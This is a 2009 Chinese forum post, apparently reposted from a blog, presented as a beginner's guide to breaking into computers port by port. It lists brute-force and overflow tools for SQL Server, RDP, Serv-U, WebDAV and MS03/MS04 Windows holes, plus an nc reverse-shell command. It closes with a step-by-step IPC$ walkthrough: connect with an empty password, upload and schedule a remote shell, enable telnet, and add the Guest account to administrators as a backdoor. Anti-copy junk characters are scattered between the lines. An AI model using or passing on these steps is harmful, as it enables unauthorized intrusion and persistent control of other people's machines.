广西经贸职业技术学院论坛
标题:
各个端口入侵方法
[打印本页]
作者:
月中水
时间:
2009-10-16 03:00
标题:
各个端口入侵方法
来源：hi.baidu
; p2 `; t6 _3 {+ ?# q2 Z1 q
希望对新手入侵有帮助!
- Y, M9 m" C$ k+ K- y1 K
1. 1433端口入侵
$ E" {$ F3 p, e7 Q
scanport.exe 查有1433的机器
: D' p0 }$ c; Y7 ^- X
SQLScanPass.exe 进行字典暴破(字典是关键)
, v" t `7 B6 j, F
最后 SQLTools.exe入侵对sql的sp2及以下的系统，可用sql的hello 溢出漏洞入侵。
. @5 O7 |5 P9 \" v! o
nc -vv -l -p 本机端口 sqlhelloF.exe 入侵ip 1433 本机ip 本机端口
. U3 V2 P N" ?8 z! m- d3 a( o
(以上反向的，测试成功)
1 k' ~7 \( N! H7 G7 z
sqlhelloz.exe 入侵ip 1433 (这个是正向连接)
- h+ }( O& N' L( E0 a# Y
2. 4899端口入侵
& d& \' w' H8 B) v
用4899过滤器.exe，扫描空口令的机器
p( S; F8 p+ P) z' i! H3 D: Q
3. 3899的入侵
5 P. d" ?9 Y9 p% O7 x* |8 `2 G
对很早的机器，可以试试3389的溢出(win3389ex.exe)
) U5 Y# A$ B1 b; e% m0 ]5 }
对2000的机器，可以试试字典暴破。(tscrack.exe)
& z" P. ^: p, }( _# _ S) o+ e8 p
4. 80入侵
* H5 Y0 X) U5 D7 L& ~/ V5 U
对sp3以前的机器，可以用webdav入侵;
! c: g h* q2 A6 G6 b0 n
对bbs论坛，可以试试上传漏洞(upfile.exe或dvup_delphi.exe)
) {2 N: u3 n3 u [1 X
可以利用SQL进行注入。(啊D的注入软件)。
. o5 \* d. D& k- g: N
5. serv-u入侵(21端口)
# ?$ h- b3 S' M
对5. 004及以下系统，可用溢出入侵。(serv5004.exe)
9 b- w+ Y9 z& q1 j
对5.1.0.0及以下系统，可用本地提升权限。(servlocal.exe)
6 V2 E* p" ~/ k Z% m9 g
对serv-u的MD5加密密码，可以用字典暴破。(crack.vbs)
; }) E2 q5 V$ c& }. w+ b& W) B
输入一个被serv-u加密的密码(34位长)，通过与字典档(dict.txt)的比较，得到密码
9 h0 S: P8 T8 V2 d/ @
6. 554端口
' @9 u1 r/ p3 H/ [' v+ ]- P3 x
用real554.exe入侵。
9 z2 a' V6 a+ a0 C+ I+ t
7. 6129端口
0 Q0 G9 ^* t1 h/ y5 @* A
用DameWare6129.exe入侵。
8 _2 f \% V* F, B" [, c
8. 系统漏洞
: N* s0 f3 A% \$ ]) o
利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞，进行溢出入侵。
6 Q1 W2 o0 n' R
9. 3127等端口
' ]" ]+ X i+ N- W; z
1 V C7 m& B( G
可以利用doom病毒开的端口，用nodoom.exe入侵。(可用mydoomscan.exe查)。
a, o, X% n: |2 U
10. 其他入侵
. S) g- {9 E+ |7 `* t( J, Y! b' b8 T
利用shanlu的入侵软件入侵(WINNTAutoAttack.exe)。
$ @ K: L( }( X. Z2 \# K" J
; Z4 y& x2 X7 F% x, C7 S
经典IPC$入侵
" n. L) t9 y7 E4 `
# Q6 T/ u7 H8 W- {7 s
1. C:\>net use $">\\127.0.0.1\IPC$ "" /user:"admintitrators"
/ w2 X9 c$ }/ h# |" W& o- x
这是用"流光"扫到的用户名是administrators，密码为"空"的IP地址(气好到家如果是打算攻击的话，就可以用这样的命令来与127.0.0.1建立一个连接，因为密码为"空"，所以第一个引号处就不用输入，后面一个双引号里的是用户名，输入administrators，命令即可成功完成。
- u0 b, x* D) z+ }3 f1 M
2. C:\>copy srv.exe $">\\127.0.0.1\admin$
$ q3 e2 h+ m4 ~0 _9 T$ L
先复制srv.exe上去，在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\，大家还可以使用c$、d$，意思是C盘与D盘，这看你要复制到什么地方去了)。
2 \: J) N( W4 C) f
3. C:\>net time
file://127.0.0.1/
1 z; J7 ?- c8 j2 X
查查时间，发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00，命令成功完成。
1 ^$ Z9 U4 I/ M
4. C:\>at
file://127.0.0.1/
11:05 srv.exe
; }$ J/ d7 f$ t2 N" k
用at命令启动srv.exe吧(这里设置的时间要比主机时间快，不然你怎么启动啊.
( `8 O6 b; f! ?) y' J
5. C:\>net time
file://127.0.0.1/
3 b" o. ^9 _ G% y8 I4 I' Z
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05，那就准备开始下面的命令。
1 Z x* Z5 |' h$ u+ G; R
6. C:\>telnet 127.0.0.1 99
. x% b( r4 J8 g( h( Q
这里会用到Telnet命令吧，注意端口是99。Telnet默认的是23端口，但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
8 l9 r8 W B- \! ~8 r9 ?0 O9 b
虽然我们可以Telnet上去了，但是SRV是一次性的，下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
, m+ u$ h; h) j/ \
7.C:\>copy ntlm.exe $">\\127.0.0.1\admin$
1 I, [, Q0 w1 [3 K* U0 n
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
( Q/ j9 o8 E5 x5 }8 t) M( L* {& v( X
8. C:\WINNT\system32>ntlm
) d7 p4 l$ F$ X& v! p6 }+ J& x
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
5 @5 j& V1 L8 L: N
9. Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组
9 t3 M0 ~0 F1 i
10. C:\>net user guest /active:yes
/ x+ _4 J9 a+ X3 H# @
将对方的Guest用户激活
0 q3 T) `5 L. A2 w/ t
11. C:\>net user guest 1234
( ]1 ^( B9 |1 F7 q- Q
将Guest的密码改为1234,或者你要设定的密码
4 W3 k* f* M+ }
12. C:\>net localgroup administrators guest /add
, y7 q. A3 A8 V( o
将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)
欢迎光临 广西经贸职业技术学院论坛 (http://gxjmbbs.com/)
Powered by Discuz! X3.2